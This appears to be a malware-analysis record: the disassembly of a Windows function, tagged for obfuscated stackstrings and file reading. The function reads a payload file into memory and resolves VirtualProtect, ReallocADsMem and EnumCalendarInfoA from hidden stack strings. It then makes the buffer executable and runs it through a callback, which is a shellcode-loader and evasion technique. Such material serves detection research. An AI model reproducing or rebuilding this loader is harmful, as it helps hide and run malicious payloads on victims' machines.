Function at 0x407900
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x1a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x140], ecx
mov qword [rbp + 0x148], rdx
call fcn.0041aaa0
call fcn.004037f0
mov dword [rbp + 0x11c], eax
lea rax, [rbp + 0x8b]
mov rcx, rax
call fcn.00455320
lea rdx, [rbp + 0x8b]
lea rax, [rbp + 0x80]
mov r8, rdx
lea rdx, [0x00499028]
mov rcx, rax
call fcn.0045e440
lea rax, [rbp + 0x8b]
mov rcx, rax
call fcn.00455350
lea rax, [rbp + 0x8c]
mov rcx, rax
call fcn.00455320
lea rdx, [rbp + 0x8c]
lea rax, [rbp + 0x70]
mov r8, rdx
lea rdx, str.https:__www.google.com_search_q
mov rcx, rax
call fcn.0045e440
lea rax, [rbp + 0x8c]
mov rcx, rax
call fcn.00455350
lea rax, [rbp + 0x8d]
mov rcx, rax
call fcn.00455320
lea rdx, [rbp + 0x8d]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str.https:__www.wikipedia.org_w_api.php_actionqueryformatjsonlistsearchsrsearch
mov rcx, rax
call fcn.0045e440
lea rax, [rbp + 0x8d]
mov rcx, rax
call fcn.00455350
lea rax, [rbp + 0x8e]
mov rcx, rax
call fcn.00455320
lea rdx, [rbp + 0x8e]
lea rax, [rbp + 0x50]
mov r8, rdx
lea rdx, str.c:_users_username_Documents_file.txt
mov rcx, rax
call fcn.0045e440
lea rax, [rbp + 0x8e]
mov rcx, rax
call fcn.00455350
lea rax, [rbp + 0x8f]
mov rcx, rax
call fcn.00455320
lea rdx, [rbp + 0x8f]
lea rax, [rbp + 0x40]
mov r8, rdx
lea rdx, str._home_user_documents_file.txt
mov rcx, rax
call fcn.0045e440
lea rax, [rbp + 0x8f]
mov rcx, rax
call fcn.00455350
call fcn.004015c8
mov dword [rbp + 0x118], eax
cmp dword [rbp + 0x118], 0x4a
ja 0x407a76
mov ebx, 0
jmp 0x407f15
call fcn.00401677
mov dword [rbp + 0x114], eax
cmp dword [rbp + 0x114], 0
jne 0x407a94
mov ebx, 0
jmp 0x407f15
cmp dword [rbp + 0x140], 0
jg 0x407aa7
mov ebx, 0
jmp 0x407f15
mov rax, qword [rbp + 0x148]
add rax, 8
mov rax, qword [rax]
lea rdx, [0x00499113]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sub.msvcrt.dll_ftell
cdqe
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x108]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp + 0x100]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xf8], rax
mov rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x100]
mov rax, qword [rbp + 0xf8]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sub.msvcrt.dll_fclose
call fcn.00401744
mov qword [rbp + 0xf0], rax
cmp qword [rbp + 0xf0], 0
jne 0x407b82
mov ebx, 0
jmp 0x407f15
mov qword [rbp + 0x38], 0
lea rdx, [rbp + 0x38]
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call fcn.004080a7
test eax, eax
je 0x407baa
mov rax, qword [rbp + 0x38]
test rax, rax
jne 0x407bb1
mov eax, 1
jmp 0x407bb6
mov eax, 0
test al, al
je 0x407bc4
mov ebx, 1
jmp 0x407f15
call fcn.004019ad
mov dword [rbp + 0xec], eax
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
movabs rax, 0x7e5c872c2386c38e
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x38]
lea rcx, [rbp + 0x20]
mov rax, qword [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call fcn.00408121
test eax, eax
sete al
test al, al
je 0x407c1a
mov ebx, 0
jmp 0x407f15
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0xe0], rax
mov byte [rbp + 0x10], 0x4c
mov byte [rbp + 0x11], 0x6f
mov byte [rbp + 0x12], 0x61
mov byte [rbp + 0x13], 0x64
mov byte [rbp + 0x14], 0x4c
mov byte [rbp + 0x15], 0x69
mov byte [rbp + 0x16], 0x62
mov byte [rbp + 0x17], 0x72
mov byte [rbp + 0x18], 0x61
mov byte [rbp + 0x19], 0x72
mov byte [rbp + 0x1a], 0x79
mov byte [rbp + 0x1b], 0x41
mov byte [rbp + 0x1c], 0
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xe0]
call rax
mov qword [rbp + 0xd8], rax
mov byte [rbp], 0x61
mov byte [rbp + 1], 0x63
mov byte [rbp + 2], 0x74
mov byte [rbp + 3], 0x69
mov byte [rbp + 4], 0x76
mov byte [rbp + 5], 0x65
mov byte [rbp + 6], 0x64
mov byte [rbp + 7], 0x73
mov byte [rbp + 8], 0x2e
mov byte [rbp + 9], 0x64
mov byte [rbp + 0xa], 0x6c
mov byte [rbp + 0xb], 0x6c
mov byte [rbp + 0xc], 0
mov byte [rbp + 0xd], 0
mov rdx, rbp
mov rax, qword [rbp + 0xd8]
mov rcx, rdx
call rax
mov qword [rbp + 0xd0], rax
mov byte [rbp - 0x10], 0x55
mov byte [rbp - 0xf], 0x73
mov byte [rbp - 0xe], 0x65
mov byte [rbp - 0xd], 0x72
mov byte [rbp - 0xc], 0x33
mov byte [rbp - 0xb], 0x32
mov byte [rbp - 0xa], 0x2e
mov byte [rbp - 9], 0x64
mov byte [rbp - 8], 0x6c
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0xd8]
mov rcx, rdx
call rax
mov qword [rbp + 0xc8], rax
call fcn.00401902
mov byte [rbp - 0x20], 0x52
mov byte [rbp - 0x1f], 0x65
mov byte [rbp - 0x1e], 0x61
mov byte [rbp - 0x1d], 0x6c
mov byte [rbp - 0x1c], 0x6c
mov byte [rbp - 0x1b], 0x6f
mov byte [rbp - 0x1a], 0x63
mov byte [rbp - 0x19], 0x41
mov byte [rbp - 0x18], 0x44
mov byte [rbp - 0x17], 0x73
mov byte [rbp - 0x16], 0x4d
mov byte [rbp - 0x15], 0x65
mov byte [rbp - 0x14], 0x6d
mov byte [rbp - 0x13], 0
mov byte [rbp - 0x12], 0
lea rdx, [rbp - 0x20]
mov rcx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xe0]
call rax
mov qword [rbp + 0xc0], rax
mov byte [rbp - 0x30], 0x56
mov byte [rbp - 0x2f], 0x69
mov byte [rbp - 0x2e], 0x72
mov byte [rbp - 0x2d], 0x74
mov byte [rbp - 0x2c], 0x75
mov byte [rbp - 0x2b], 0x61
mov byte [rbp - 0x2a], 0x6c
mov byte [rbp - 0x29], 0x50
mov byte [rbp - 0x28], 0x72
mov byte [rbp - 0x27], 0x6f
mov byte [rbp - 0x26], 0x74
mov byte [rbp - 0x25], 0x65
mov byte [rbp - 0x24], 0x63
mov byte [rbp - 0x23], 0x74
mov byte [rbp - 0x22], 0
mov byte [rbp - 0x21], 0
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xe0]
call rax
mov qword [rbp + 0xb8], rax
lea rax, [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll__time64
lea rax, [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll_localtime
mov qword [rbp + 0xb0], rax
call fcn.00401bb9
mov dword [rbp + 0xac], eax
mov rax, qword [rbp + 0x100]
mov edx, eax
mov rax, qword [rbp + 0xf8]
mov rcx, rax
call fcn.004016f5
mov byte [rbp - 0x50], 0x45
mov byte [rbp - 0x4f], 0x6e
mov byte [rbp - 0x4e], 0x75
mov byte [rbp - 0x4d], 0x6d
mov byte [rbp - 0x4c], 0x43
mov byte [rbp - 0x4b], 0x61
mov byte [rbp - 0x4a], 0x6c
mov byte [rbp - 0x49], 0x65
mov byte [rbp - 0x48], 0x6e
mov byte [rbp - 0x47], 0x64
mov byte [rbp - 0x46], 0x61
mov byte [rbp - 0x45], 0x72
mov byte [rbp - 0x44], 0x49
mov byte [rbp - 0x43], 0x6e
mov byte [rbp - 0x42], 0x66
mov byte [rbp - 0x41], 0x6f
mov byte [rbp - 0x40], 0x41
mov byte [rbp - 0x3f], 0
mov byte [rbp - 0x3e], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xe0]
call rax
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x100]
mov ecx, eax
mov rax, qword [rbp + 0x100]
mov edx, eax
mov rax, qword [rbp + 0xc0]
mov r8d, ecx
mov ecx, 0
call rax
mov qword [rbp + 0x98], rax
call fcn.00401e9d
mov dword [rbp + 0x94], eax
mov rax, qword [rbp + 0x100]
mov ecx, eax
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xf8]
mov r8, rdx
mov rdx, rax
call fcn.004018b4
lea r8, [rbp - 0x54]
mov rdx, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xb8]
mov r9, r8
mov r8d, 0x40
call rax
mov dword [rbp + 0x90], eax
cmp dword [rbp + 0x90], 1
jne 0x407f10
mov rcx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xa0]
mov r9d, 1
mov r8d, 0xffffffff
mov edx, 0x800
call rax
mov ebx, 0
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.0045e9b0
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.0045e9b0
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.0045e9b0
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.0045e9b0
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.0045e9b0
mov eax, ebx
jmp 0x408015
add rsp, 0x1a8
pop rbx
pop rbp
ret